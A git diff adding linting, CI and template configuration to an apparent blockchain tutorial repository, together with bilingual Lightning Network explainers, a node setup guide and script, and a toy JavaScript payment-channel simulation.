diff --git a/.commitlintrc.yaml b/.commitlintrc.yaml
new file mode 100644
index 000000000..247ff21e6
--- /dev/null
+++ b/.commitlintrc.yaml
@@ -0,0 +1,3 @@
+extends:
+  - "@commitlint/config-conventional"
+    
\ No newline at end of file
diff --git a/.github/ISSUE_TEMPLATE/task.yml b/.github/ISSUE_TEMPLATE/task.yml
new file mode 100644
index 000000000..122d482d3
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/task.yml
@@ -0,0 +1,35 @@
+name: 更新任务
+description: 更新任务信息
+title: "[Task]: "
+labels: [task]
+assignees:
+  - izayl
+body:
+  - type: dropdown
+    id: type
+    attributes:
+      label: 这个 PR/issue 属于什么类型?
+      multiple: false
+      options:
+        - bug 修复（Bugfix）
+        - 创建新的基础任务
+        - 创建新的进阶任务
+        - 更新任务内容
+        - 任务认领
+  - type: input
+    id: task
+    attributes:
+      label: 涉及的任务是哪个
+      description: 请填写任务名
+      placeholder: 例如：uniswap-v3
+    validations:
+      required: true
+  - type: textarea
+    id: info
+    attributes:
+      label: 详细信息
+      description: Bug详细信息，或者更新、创建任务的内容
+      placeholder: Tell us what you see!
+      value: ""
+    validations:
+      required: false
\ No newline at end of file
diff --git a/.github/PULL_REQUEST_ISSUE_TAEMPLATE.md b/.github/PULL_REQUEST_ISSUE_TAEMPLATE.md
new file mode 100644
index 000000000..eee0eb431
--- /dev/null
+++ b/.github/PULL_REQUEST_ISSUE_TAEMPLATE.md
@@ -0,0 +1,17 @@
+<!-- PULL REQUEST TEMPLATE -->
+<!-- (将 "[ ]" 换成 "[x]" 来选择列表项) -->
+
+**
+
+- [ ] bug 修复（Bugfix）
+- [ ] 创建新的基础任务
+- [ ] 创建新的进阶任务
+- [ ] 更新任务内容
+
+**涉及的任务是哪个？（必填）**
+
+<!-- 例如：Uniswap-V2 -->
+
+**其他信息：**
+
+<!-- 具体更新/创建任务的内容有哪些 -->
\ No newline at end of file
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
new file mode 100644
index 000000000..3b9cdd3a6
--- /dev/null
+++ b/.github/workflows/codeql-analysis.yml
@@ -0,0 +1,71 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ main ]
+  schedule:
+    - cron: '39 1 * * 5'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'javascript', 'python' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
+        # Learn more:
+        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v2
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v1
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+        # queries: ./path/to/local/query, your-org/your-repo/queries@main
+
+    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
+    # If this step fails, then you should remove it and run the build manually (see below)
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v1
+
+    # ℹ️ Command-line programs to run using the OS shell.
+    # 📚 https://git.io/JvXDl
+
+    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
+    #    and modify them (or add more) to build your code if your project
+    #    uses a compiled language
+
+    #- run: |
+    #   make bootstrap
+    #   make release
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v1
diff --git a/.github/workflows/lint-pr.yml b/.github/workflows/lint-pr.yml
new file mode 100644
index 000000000..4298282b9
--- /dev/null
+++ b/.github/workflows/lint-pr.yml
@@ -0,0 +1,17 @@
+name: Lint PR
+
+on:
+  pull_request_target:
+    types:
+      - opened
+      - edited
+      - synchronize
+
+jobs:
+  main:
+    name: Validate PR title
+    runs-on: ubuntu-latest
+    steps:
+      - uses: amannn/action-semantic-pull-request@v5
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.github/workflows/markdown-links.yml b/.github/workflows/markdown-links.yml
new file mode 100644
index 000000000..06ae46cf8
--- /dev/null
+++ b/.github/workflows/markdown-links.yml
@@ -0,0 +1,21 @@
+name: Check Markdown links
+on: 
+  workflow_dispatch:
+
+
+jobs:
+  markdown-link-check:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Link Checker
+        id: lychee
+        uses: lycheeverse/lychee-action@v2.0.2
+
+      - name: Create Issue From File
+        if: env.lychee_exit_code != 0
+        uses: peter-evans/create-issue-from-file@v4
+        with:
+          title: Link Checker Report
+          content-filepath: ./lychee/out.md
+          labels: report, automated issue
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 51f786b1c..48681f5f4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,8 +1,12 @@
 */node_modules
-*/sk.txt
-*/sk*.txt
-*/sk*.json
-*/package-lock.json
+**/.env
+**/sk.txt
+**/env.py
+**/sk*.txt
+**/sk*.json
+**/__pycache__
+**/Uniswap
+**/package-lock.json
 # dependencies
 /node_modules
 /.pnp
@@ -14,9 +18,11 @@
 **/*.bytecode.js
 **/*.abi.js
 **/*.address.js
-*/yarn.lock
-*/artifacts
-*/cache
+**/yarn.lock
+**/artifacts
+**/cache
+**/debug
+**/target
 
 # testing
 coverage
@@ -26,7 +32,7 @@ build
 
 # misc
 .DS_Store
-.env*
+.env
 
 # debug
 npm-debug.log*
@@ -35,3 +41,4 @@ yarn-error.log*
 
 .idea
 .vscode
+mnemonic.txt
diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 000000000..66888488c
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,9 @@
+[submodule "lib/openzeppelin-contracts"]
+path = lib/openzeppelin-contracts
+url = https://github.com/OpenZeppelin/openzeppelin-contracts
+[submodule "dao/dao/Openzeppelin-DAO"]
+path = dao/dao/Openzeppelin-DAO
+url = https://github.com/tamphill/openzeppelin_dao.git
+[submodule "basic/79-hardhat-foundry/lib/openzeppelin-contracts"]
+	path = basic/79-hardhat-foundry/lib/openzeppelin-contracts
+	url = https://github.com/Openzeppelin/openzeppelin-contracts
diff --git a/.husky/commit-msg b/.husky/commit-msg
new file mode 100755
index 000000000..b5a5eb074
--- /dev/null
+++ b/.husky/commit-msg
@@ -0,0 +1,4 @@
+#!/usr/bin/env sh
+. "$(dirname -- "$0")/_/husky.sh"
+
+npx commitlint --edit "$1"
diff --git a/.husky/pre-commit b/.husky/pre-commit
new file mode 100755
index 000000000..d24fdfc60
--- /dev/null
+++ b/.husky/pre-commit
@@ -0,0 +1,4 @@
+#!/usr/bin/env sh
+. "$(dirname -- "$0")/_/husky.sh"
+
+npx lint-staged
diff --git a/.lycheeignore b/.lycheeignore
new file mode 100644
index 000000000..d22e5a7ba
--- /dev/null
+++ b/.lycheeignore
@@ -0,0 +1,2 @@
+https://sepolia.infura.io/v3
+http://127.0.0.1
\ No newline at end of file
diff --git a/.prettierignore b/.prettierignore
new file mode 100644
index 000000000..b43bf86b5
--- /dev/null
+++ b/.prettierignore
@@ -0,0 +1 @@
+README.md
diff --git a/.prettierrc b/.prettierrc
new file mode 100644
index 000000000..25f76488e
--- /dev/null
+++ b/.prettierrc
@@ -0,0 +1,25 @@
+{
+  "printWidth": 150,
+  "tabWidth": 2,
+  "semi": true,
+  "singleQuote": true,
+  "trailingComma": "es5",
+  "tslintIntegration": true,
+  "insertSpaceBeforeFunctionParenthesis": false,
+  "overrides": [
+    {
+      "files": ["*.js", "*.ts"],
+      "options": {
+        "semi": true,
+        "singleQuote": true
+      }
+    },
+    {
+      "files": "*.sol",
+      "options": {
+        "semi": true,
+        "tabWidth": 4
+      }
+    }
+  ]
+}
diff --git a/.solhint.json b/.solhint.json
new file mode 100644
index 000000000..742915020
--- /dev/null
+++ b/.solhint.json
@@ -0,0 +1,16 @@
+{
+  "extends": "solhint:recommended",
+  "rules": {
+    "code-complexity": ["warn", 7],
+    "function-max-lines": ["warn", 50],
+    "max-line-length": ["error", 120],
+    "func-param-name-mixedcase": "warn",
+    "modifier-name-mixedcase": "warn",
+    "ordering": "warn",
+    "compiler-version": ["error", "^0.8.20"],
+    "func-visibility": ["warn", { "ignoreConstructors": true }],
+    "immutable-vars-naming": "off",
+    "one-contract-per-file": "off",
+    "no-console": "off"
+  }
+}
diff --git a/.solhintignore b/.solhintignore
new file mode 100644
index 000000000..7a2b3c1c1
--- /dev/null
+++ b/.solhintignore
@@ -0,0 +1,2 @@
+lib
+node_modules/
diff --git a/BTC/Advanced/Lighting Network/README-EN.md b/BTC/Advanced/Lighting Network/README-EN.md
new file mode 100644
index 000000000..3a51147db
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/README-EN.md	
@@ -0,0 +1,42 @@
+# Lightning Network
+
+The Lightning Network is a Layer 2 payment protocol for Bitcoin, designed to enable fast, low-cost transactions by reducing on-chain transactions. Built on top of the Bitcoin blockchain, it aims to solve Bitcoin's current scalability and transaction speed issues. Here's a detailed introduction to the core concepts and functions of the Lightning Network:
+
+### 1. **Core Concept: Payment Channels**
+
+The Lightning Network operates through payment channels. The specific process is as follows:
+   - **Creating Payment Channels**: When two parties need frequent transactions, they can create a payment channel. This requires both parties to deposit initial funds into a multi-signature wallet, recorded on the blockchain as a single on-chain transaction.
+   - **Off-chain Transactions**: Once the channel is established, both parties can directly exchange signed balance updates off-chain, without requiring network-wide confirmation, greatly improving transaction speed.
+   - **Closing Channels**: When parties no longer need to continue transacting, they can choose to close the channel. The final balance state of the channel is then recorded on the Bitcoin blockchain as an on-chain transaction. This greatly reduces blockchain burden as multiple transactions only require two on-chain transactions (opening and closing).
+
+### 2. **Transaction Mechanism in Lightning Network**
+
+In the Lightning Network, transactions within channels are instantly confirmed. The specific process is:
+   - **Incremental Balance Updates**: Each off-chain transaction only updates the balance state in the payment channel, without broadcasting to the Bitcoin blockchain.
+   - **Decentralized Trust Transactions**: Each state update is confirmed by signatures from both parties, ensuring neither party can tamper with transaction balances, preventing attempts to take excess funds.
+
+### 3. **Cross-Channel Payment Routing**
+
+The Lightning Network supports not only direct payments between two channel users but also multi-hop payments, allowing funds to be transferred to target users through multiple channels. The specific process is:
+   - **Path Finding**: If there's no direct channel between two users, the network finds suitable paths through other nodes to complete the payment.
+   - **Payment Atomicity**: The entire payment only completes when all intermediate nodes in the path agree and complete their part of the payment, ensuring funds aren't intercepted during multi-hop processes.
+
+### 4. **Main Advantages**
+
+   - **Scalability**: Through off-chain transactions, the Lightning Network significantly reduces Bitcoin blockchain load, theoretically supporting millions of transactions per second.
+   - **Lower Fees**: Most transactions occur off-chain, with very low transaction fees, only requiring a fraction of on-chain transaction fees.
+   - **Instant Payments**: Lightning Network transactions are almost instantaneous, making them suitable for daily consumption, unlike on-chain transactions that might take minutes.
+
+### 5. **Challenges and Limitations**
+
+   - **Liquidity Requirements**: To ensure large transactions flow smoothly, each node in the path must have sufficient funds in the channel, otherwise transactions might be blocked.
+   - **Channel Management**: Users need to manually open and close channels, each operation requiring on-chain fees, making frequent operations costly.
+   - **Security Risks**: While the Lightning Network is highly secure, it's not without risks. Nodes need to stay online to prevent attackers from broadcasting outdated transactions.
+
+### 6. **Lightning Network Applications and Future**
+
+   - **Micropayments**: Due to low fees, the Lightning Network is ideal for micropayments, such as content tipping, small donations, and in-app purchases.
+   - **Merchant and Retail**: With near-real-time transaction speeds, the Lightning Network can make Bitcoin an ideal payment method for retail, dining, and daily consumption.
+   - **Cross-border Payments**: It enables quick and low-cost international remittances, providing a convenient path for cross-border payments.
+
+The Lightning Network continues to evolve with ongoing development and user growth. It provides a promising solution to Bitcoin's scalability, but to fully realize its potential, it requires support from a reliable and robust node network.
\ No newline at end of file
diff --git a/BTC/Advanced/Lighting Network/README.md b/BTC/Advanced/Lighting Network/README.md
new file mode 100644
index 000000000..01af411ce
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/README.md	
@@ -0,0 +1,40 @@
+**闪电网络**（Lightning Network）是一种比特币的第二层支付协议，旨在通过减少链上交易数量，实现快速、低成本的交易。这一网络在比特币区块链之上构建，旨在解决比特币当前的扩展性和交易速度问题。以下是对闪电网络的核心概念及其功能的详细介绍：
+
+### 1. **核心概念：支付通道**
+
+闪电网络的基本运行机制是通过支付通道。具体操作如下：
+   - **创建支付通道**：两方需要频繁交易时，可以通过创建支付通道来进行。这需要双方向一个多签名钱包存入初始资金，并记录在区块链上作为一次链上交易。
+   - **链下交易**：通道建立后，双方可以直接交换签名的余额更新，这些更新是链下进行的，不需要经过全网确认，从而大大提高了交易速度。
+   - **关闭通道**：当两方不再需要继续交易时，可以选择关闭通道。此时通道的最终余额状态会作为一次链上交易记录在比特币区块链上。这样可以极大减少区块链的负担，因为多笔交易只需记录两次链上交易（开通和关闭）。
+
+### 2. **闪电网络中的交易机制**
+
+在闪电网络中，通道内的交易是即时确认的。具体过程如下：
+   - **增量余额更新**：每次链下交易只更新支付通道中的余额状态，而不广播至比特币区块链。
+   - **去中心化的信任交易**：每次状态更新都由双方签名确认，确保任何一方都无法篡改交易余额，避免了一方试图多拿资金的可能。
+
+### 3. **跨通道支付的路由**
+
+闪电网络不仅限于两个通道用户间的直接支付，还支持多跳支付，使得资金能够通过多个通道转账给目标用户。具体过程如下：
+   - **路径查找**：如果两个用户之间没有直接的通道，网络会寻找合适的路径通过其他节点完成支付。
+   - **支付的原子性**：只有在路径中所有中间节点同意并完成自己的部分支付时，整个支付才会完成，确保资金在多跳过程中不被截留。
+
+### 4. **主要优势**
+
+   - **扩展性**：通过链下交易的方式，闪电网络大幅减少了比特币区块链的负载，理论上可以支持每秒数百万次交易。
+   - **降低费用**：大部分交易是链下进行的，交易费用很低，仅需链上交易费用的一小部分。
+   - **即时支付**：闪电网络的交易几乎是即时完成的，使其适用于日常消费，而不像链上交易那样可能需要数分钟。
+
+### 5. **挑战与局限性**
+
+   - **流动性要求**：为了确保大额交易畅通，路径中的每个节点必须在通道中拥有足够的资金，否则可能会阻塞交易。
+   - **通道管理**：用户需要手动开通和关闭通道，每次操作都需支付链上费用，因此频繁操作的成本较高。
+   - **安全风险**：虽然闪电网络安全性较高，但它并非没有风险。节点需要保持在线以防止攻击者试图广播过时的交易。
+
+### 6. **闪电网络的应用场景及未来**
+
+   - **小额支付**：由于费用低廉，闪电网络非常适合进行小额支付，如内容打赏、小额捐赠和应用内购买等。
+   - **商户和零售**：交易速度接近实时，闪电网络能使比特币成为零售、餐饮等日常消费的理想支付方式。
+   - **跨境支付**：它能快速且低成本地实现国际汇款，为跨境支付提供了一种便利的途径。
+
+闪电网络随着开发和用户的持续增长在不断发展。它为解决比特币的扩展性提供了一个极具前景的方案，但要充分发挥其潜力，还需要一个可靠且强大的节点网络支持。
\ No newline at end of file
diff --git a/BTC/Advanced/Lighting Network/config/index.md b/BTC/Advanced/Lighting Network/config/index.md
new file mode 100644
index 000000000..ed0a9da71
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/config/index.md	
@@ -0,0 +1,106 @@
+要在比特币节点上配置和运行闪电网络节点，需要执行以下步骤。配置过程涉及安装比特币全节点、下载闪电网络节点软件（如 `lnd` 或 `c-lightning`），并设置基本的连接和通道参数。以下是详细步骤：
+
+### 步骤 1：安装比特币全节点
+
+1. **下载比特币核心（Bitcoin Core）**：
+   - 在 [比特币官网](https://bitcoin.org/en/download)下载最新版 Bitcoin Core 软件，并按照官方文档安装。
+   
+2. **启动比特币节点**：
+   - 使用以下命令启动比特币节点：
+     ```bash
+     bitcoind -daemon
+     ```
+   - 节点需要同步区块链数据，建议启用 `pruned` 模式，以节省存储空间。
+   
+3. **修改 `bitcoin.conf` 配置文件**：
+   - 打开 `bitcoin.conf` 文件（通常位于 `~/.bitcoin/bitcoin.conf`）并添加以下内容以支持闪电网络：
+     ```ini
+     server=1
+     txindex=1
+     rpcuser=your_rpc_user
+     rpcpassword=your_rpc_password
+     ```
+
+### 步骤 2：选择并安装闪电网络节点软件
+
+目前，主流的闪电网络实现有 `lnd`（Lightning Labs）、`c-lightning`（Blockstream）和 `eclair`（ACINQ）。以 `lnd` 为例：
+
+1. **下载并安装 `lnd`**：
+   - 可以在 [GitHub](https://github.com/lightningnetwork/lnd) 下载最新版本的 `lnd`。
+   - 安装完 `lnd` 后，使用以下命令启动 `lnd` 服务：
+     ```bash
+     lnd
+     ```
+
+2. **配置 `lnd.conf` 文件**：
+   - 在 `~/.lnd/lnd.conf` 文件中设置基本配置，连接到比特币节点：
+     ```ini
+     [Application Options]
+     alias=YourNodeAlias    # 设置节点的别名
+     color=#FF0000          # 设置节点颜色（十六进制）
+
+     [Bitcoin]
+     bitcoin.active=1
+     bitcoin.mainnet=1      # 或 bitcoin.testnet=1 用于测试网
+     bitcoin.node=bitcoind
+
+     [Bitcoind]
+     bitcoind.rpcuser=your_rpc_user
+     bitcoind.rpcpass=your_rpc_password
+     bitcoind.rpchost=localhost
+     bitcoind.zmqpubrawblock=tcp://127.0.0.1:28332
+     bitcoind.zmqpubrawtx=tcp://127.0.0.1:28333
+     ```
+
+### 步骤 3：启动并初始化闪电网络节点
+
+1. **初始化闪电网络节点**：
+   - 使用以下命令启动 `lnd` 并生成钱包：
+     ```bash
+     lncli create
+     ```
+   - 你将被要求设置密码并备份助记词，这对于保护你的资金非常重要。
+
+2. **启动和连接**：
+   - 启动 `lnd` 服务后，可以使用 `lncli` 命令管理和查询节点状态。例如：
+     ```bash
+     lncli getinfo
+     ```
+
+### 步骤 4：建立闪电网络支付通道
+
+1. **获取资金**：
+   - 首先为节点充值比特币。可以使用 `lncli newaddress` 获取节点地址，然后从外部钱包转账。
+
+2. **打开通道**：
+   - 使用以下命令来打开通道：
+     ```bash
+     lncli openchannel --node_key=对方节点公钥 --local_amt=通道资金
+     ```
+   - 其中 `node_key` 是对方节点的公钥，`local_amt` 是设置的通道资金数量。
+
+3. **监控通道状态**：
+   - 打开通道后，可以使用 `lncli listchannels` 查看通道状态，并确保通道正常运行。
+
+### 步骤 5：管理和使用闪电网络节点
+
+1. **发送和接收支付**：
+   - 可以通过 `lncli` 发起支付，或生成支付请求让他人向你支付。
+   - 例如，生成收款请求：
+     ```bash
+     lncli addinvoice --amt=金额
+     ```
+   - 通过支付请求二维码或字符串，其他用户可以通过他们的闪电节点完成支付。
+
+2. **关闭通道**：
+   - 如果不再需要通道，可以通过以下命令手动关闭：
+     ```bash
+     lncli closechannel --funding_txid=交易ID --output_index=输出索引
+     ```
+
+3. **备份和恢复**：
+   - 为了防止意外情况，定期备份数据至安全位置。`lnd` 支持通道备份，可以使用 `lncli exportchanbackup` 导出备份文件。
+
+### 小结
+
+通过以上步骤，您可以成功配置并运行闪电网络节点。闪电网络通过支付通道的机制，降低比特币链上负载，实现了低成本、快速的小额支付。
\ No newline at end of file
diff --git a/BTC/Advanced/Lighting Network/config/index.sh b/BTC/Advanced/Lighting Network/config/index.sh
new file mode 100644
index 000000000..009fc15ba
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/config/index.sh	
@@ -0,0 +1,79 @@
+
+### 设置并启动闪电网络节点的 Shell 脚本
+
+```bash
+#!/bin/bash
+
+# 设置变量
+BITCOIN_USER="your_rpc_user"                # 替换为你的比特币 RPC 用户名
+BITCOIN_PASSWORD="your_rpc_password"        # 替换为你的比特币 RPC 密码
+BITCOIN_CONF_PATH="$HOME/.bitcoin/bitcoin.conf"
+LND_CONF_PATH="$HOME/.lnd/lnd.conf"
+
+# 步骤 1：安装必要的依赖项
+echo "Updating system and installing dependencies..."
+sudo apt-get update -y && sudo apt-get upgrade -y
+sudo apt-get install -y wget jq unzip
+
+# 步骤 2：下载并安装 Bitcoin Core
+echo "Downloading and installing Bitcoin Core..."
+wget https://bitcoin.org/bin/bitcoin-core-24.0.1/bitcoin-24.0.1-x86_64-linux-gnu.tar.gz
+tar -xzf bitcoin-24.0.1-x86_64-linux-gnu.tar.gz
+sudo install -m 0755 -o root -t /usr/local/bin bitcoin-24.0.1/bin/*
+
+# 步骤 3：配置比特币节点
+echo "Configuring Bitcoin node..."
+mkdir -p "$HOME/.bitcoin"
+cat <<EOF > "$BITCOIN_CONF_PATH"
+server=1
+txindex=1
+prune=600                   # 如果存储空间有限
+rpcuser=$BITCOIN_USER
+rpcpassword=$BITCOIN_PASSWORD
+EOF
+
+# 启动比特币节点
+echo "Starting Bitcoin node..."
+bitcoind -daemon
+sleep 10  # 等待节点启动
+
+# 步骤 4：下载并安装 lnd
+echo "Downloading and installing lnd..."
+wget https://github.com/lightningnetwork/lnd/releases/download/v0.15.0-beta/lnd-linux-amd64-v0.15.0-beta.tar.gz
+tar -xzf lnd-linux-amd64-v0.15.0-beta.tar.gz
+sudo install -m 0755 -o root -t /usr/local/bin lnd-linux-amd64-*/lnd
+sudo install -m 0755 -o root -t /usr/local/bin lnd-linux-amd64-*/lncli
+
+# 步骤 5：配置 lnd 节点
+echo "Configuring lnd node..."
+mkdir -p "$HOME/.lnd"
+cat <<EOF > "$LND_CONF_PATH"
+[Application Options]
+alias=YourNodeAlias          # 设置节点别名
+color=#FF0000                # 设置节点颜色
+
+[Bitcoin]
+bitcoin.active=1
+bitcoin.mainnet=1
+bitcoin.node=bitcoind
+
+[Bitcoind]
+bitcoind.rpcuser=$BITCOIN_USER
+bitcoind.rpcpass=$BITCOIN_PASSWORD
+bitcoind.rpchost=localhost
+bitcoind.zmqpubrawblock=tcp://127.0.0.1:28332
+bitcoind.zmqpubrawtx=tcp://127.0.0.1:28333
+EOF
+
+# 步骤 6：启动 lnd 节点
+echo "Starting lnd node..."
+lnd --configfile="$LND_CONF_PATH" &
+
+# 步骤 7：等待 lnd 启动后初始化钱包
+sleep 15  # 等待 lnd 完全启动
+echo "Creating lnd wallet..."
+echo "Please follow the instructions to create a wallet for your lnd node:"
+lncli create
+
+echo "Lightning Network node setup is complete!"
+```
\ No newline at end of file
diff --git a/BTC/Advanced/Lighting Network/lightning-network.js b/BTC/Advanced/Lighting Network/lightning-network.js
new file mode 100644
index 000000000..6d1afed61
--- /dev/null
+++ b/BTC/Advanced/Lighting Network/lightning-network.js	
@@ -0,0 +1,280 @@
+// Custom error class for payment channel operations
+class PaymentChannelError extends Error {
+  constructor(message) {
+    super(message);
+    this.name = 'PaymentChannelError';
+  }
+}
+
+// Payment Channel class represents a bi-directional payment channel between two parties
+class PaymentChannel {
+  constructor(channelId, partyA, partyB, initialDepositA, initialDepositB, timeoutBlocks = 144) {
+    // Validate input parameters
+    if (initialDepositA < 0 || initialDepositB < 0) {
+      throw new PaymentChannelError('Initial deposits must be positive');
+    }
+    if (!this._isValidParty(partyA) || !this._isValidParty(partyB)) {
+      throw new PaymentChannelError('Invalid party information');
+    }
+
+    this.channelId = channelId;
+    this.partyA = partyA;
+    this.partyB = partyB;
+    this.balanceA = initialDepositA;
+    this.balanceB = initialDepositB;
+    this.status = 'INITIALIZED';
+    this.nonce = 0;
+    this.updates = new Map();
+    this.timeoutBlocks = timeoutBlocks; // Default 24 hours (assuming 10 min blocks)
+    this.openBlockHeight = null;
+  }
+
+  // Create a new payment channel
+  async createChannel() {
+    try {
+      if (this.status !== 'INITIALIZED') {
+        throw new PaymentChannelError('Channel already created');
+      }
+
+      // Create multisig transaction
+      const multisigTx = await this._createMultisigTransaction();
+      this.openBlockHeight = await this._getCurrentBlockHeight();
+      this.status = 'OPEN';
+      
+      // Record initial state
+      this._recordUpdate({
+        nonce: this.nonce,
+        sender: this.partyA.id,
+        receiver: this.partyB.id,
+        amount: 0,
+        balanceA: this.balanceA,
+        balanceB: this.balanceB,
+        timestamp: Date.now()
+      });
+
+      return true;
+    } catch (error) {
+      console.error('Failed to create channel:', error);
+      return false;
+    }
+  }
+
+  // Update channel balances
+  async updateBalance(sender, receiver, amount) {
+    try {
+      // Validate channel state
+      this._validateChannelState();
+      
+      // Validate amount
+      if (amount <= 0) {
+        throw new PaymentChannelError('Amount must be positive');
+      }
+
+      // Update balances based on sender and receiver
+      if (sender === this.partyA.id && receiver === this.partyB.id) {
+        if (this.balanceA < amount) {
+          throw new PaymentChannelError('Insufficient funds for party A');
+        }
+        this.balanceA -= amount;
+        this.balanceB += amount;
+      } else if (sender === this.partyB.id && receiver === this.partyA.id) {
+        if (this.balanceB < amount) {
+          throw new PaymentChannelError('Insufficient funds for party B');
+        }
+        this.balanceB -= amount;
+        this.balanceA += amount;
+      } else {
+        throw new PaymentChannelError('Invalid parties for transfer');
+      }
+
+      // Create and record update
+      const update = {
+        nonce: ++this.nonce,
+        sender,
+        receiver,
+        amount,
+        balanceA: this.balanceA,
+        balanceB: this.balanceB,
+        timestamp: Date.now()
+      };
+
+      // Sign and verify update (implementation needed)
+      // update.signature = await this._signUpdate(update);
+      // if (!this._verifySignature(update)) {
+      //   throw new PaymentChannelError('Invalid signature');
+      // }
+
+      this._recordUpdate(update);
+      return true;
+    } catch (error) {
+      console.error('Failed to update balance:', error);
+      return false;
+    }
+  }
+
+  // Close the payment channel and settle final balances
+  async closeChannel() {
+    try {
+      if (this.status === 'CLOSED') {
+        throw new PaymentChannelError('Channel already closed');
+      }
+
+      // Validate closing conditions
+      await this._validateCloseConditions();
+
+      // Create settlement transaction
+      const settlementTx = await this._createSettlementTransaction();
+      this.status = 'CLOSED';
+
+      // Emit settlement event
+      this._emitSettlementEvent(settlementTx);
+
+      return [this.balanceA, this.balanceB];
+    } catch (error) {
+      console.error('Failed to close channel:', error);
+      return [0, 0];
+    }
+  }
+
+  // Get current channel state
+  getChannelState() {
+    return {
+      nonce: this.nonce,
+      balanceA: this.balanceA,
+      balanceB: this.balanceB,
+      timestamp: Date.now()
+    };
+  }
+
+  // Private helper methods
+  _validateChannelState() {
+    if (this.status !== 'OPEN') {
+      throw new PaymentChannelError('Channel not open');
+    }
+  }
+
+  _isValidParty(party) {
+    return party && party.id && party.publicKey;
+  }
+
+  _recordUpdate(update) {
+    this.updates.set(update.nonce, update);
+  }
+
+  async _getCurrentBlockHeight() {
+    // Implementation needed: connect to blockchain node
+    return Promise.resolve(1000);
+  }
+
+  async _createMultisigTransaction() {
+    // Implementation needed: create actual multisig transaction
+    return Promise.resolve({
+      channelId: this.channelId,
+      partyA: this.partyA,
+      partyB: this.partyB,
+      totalAmount: this.balanceA + this.balanceB,
+      timestamp: Date.now()
+    });
+  }
+
+  async _createSettlementTransaction() {
+    // Implementation needed: create actual settlement transaction
+    return Promise.resolve({
+      channelId: this.channelId,
+      finalBalanceA: this.balanceA,
+      finalBalanceB: this.balanceB,
+      timestamp: Date.now()
+    });
+  }
+
+  async _validateCloseConditions() {
+    // Implementation needed: validate closing conditions
+  }
+
+  _emitSettlementEvent(settlementTx) {
+    // Implementation needed: emit settlement event
+  }
+}
+
+// Lightning Network class manages multiple payment channels
+class LightningNetwork {
+  constructor() {
+    this.channels = new Map();
+  }
+
+  // Create a new payment channel
+  async createPaymentChannel(channelId, partyA, partyB, depositA, depositB) {
+    try {
+      const channel = new PaymentChannel(
+        channelId,
+        partyA,
+        partyB,
+        depositA,
+        depositB
+      );
+      
+      if (await channel.createChannel()) {
+        this.channels.set(channelId, channel);
+        return channel;
+      }
+      return null;
+    } catch (error) {
+      console.error('Failed to create payment channel:', error);
+      return null;
+    }
+  }
+
+  // Get an existing payment channel
+  getChannel(channelId) {
+    return this.channels.get(channelId);
+  }
+}
+
+// Example usage
+async function main() {
+  try {
+    // Create Lightning Network instance
+    const ln = new LightningNetwork();
+
+    // Create channel parties
+    const alice = {
+      id: 'Alice',
+      publicKey: '0x1234...', // Should be real public key
+    };
+    const bob = {
+      id: 'Bob',
+      publicKey: '0x5678...', // Should be real public key
+    };
+
+    // Create payment channel
+    const channel = await ln.createPaymentChannel(
+      'ch001',
+      alice,
+      bob,
+      1.0,
+      1.0
+    );
+
+    if (!channel) {
+      throw new Error('Failed to create channel');
+    }
+
+    // Perform payments
+    console.log('Initial state:', channel.getChannelState());
+
+    await channel.updateBalance(alice.id, bob.id, 0.3);
+    console.log('After first payment:', channel.getChannelState());
+
+    await channel.updateBalance(bob.id, alice.id, 0.1);
+    console.log('After second payment:', channel.getChannelState());
+
+    // Close channel
+    const [finalBalanceA, finalBalanceB] = await channel.closeChannel();
+    console.log('Final settlement:', { Alice: finalBalanceA, Bob: finalBalanceB });
+  } catch (error) {
+    console.error('Error in main:', error);
+  }
+}
+
+// Run the example
+main().catch(console.error);
\ No newline at end of file
diff --git a/BTC/Advanced/Lighting Network/technical/imgs/offchain.png b/BTC/Advanced/Lighting Network/technical/imgs/offchain.png
new file mode 100644
index 000000000..0061356df
Binary files /dev/null and b/BTC/Advanced/Lighting Network/technical/imgs/offchain.png differ
diff --git a/BTC/Advanced/Lighting Network/technical/imgs/open.png b/BTC/Advanced/Lighting Network/technical/imgs/open.png
new file mode 100644
index 000000000..2062ebcd7
Binary files /dev/null and b/BTC/Advanced/Lighting Network/technical/imgs/open.png differ
diff --git a/BTC/Advanced/Lighting Network/technical/imgs/route.png b/BTC/Advanced/Lighting Network/technical/imgs/route.png
new file mode 100644
index 000000000..7c2f110dd
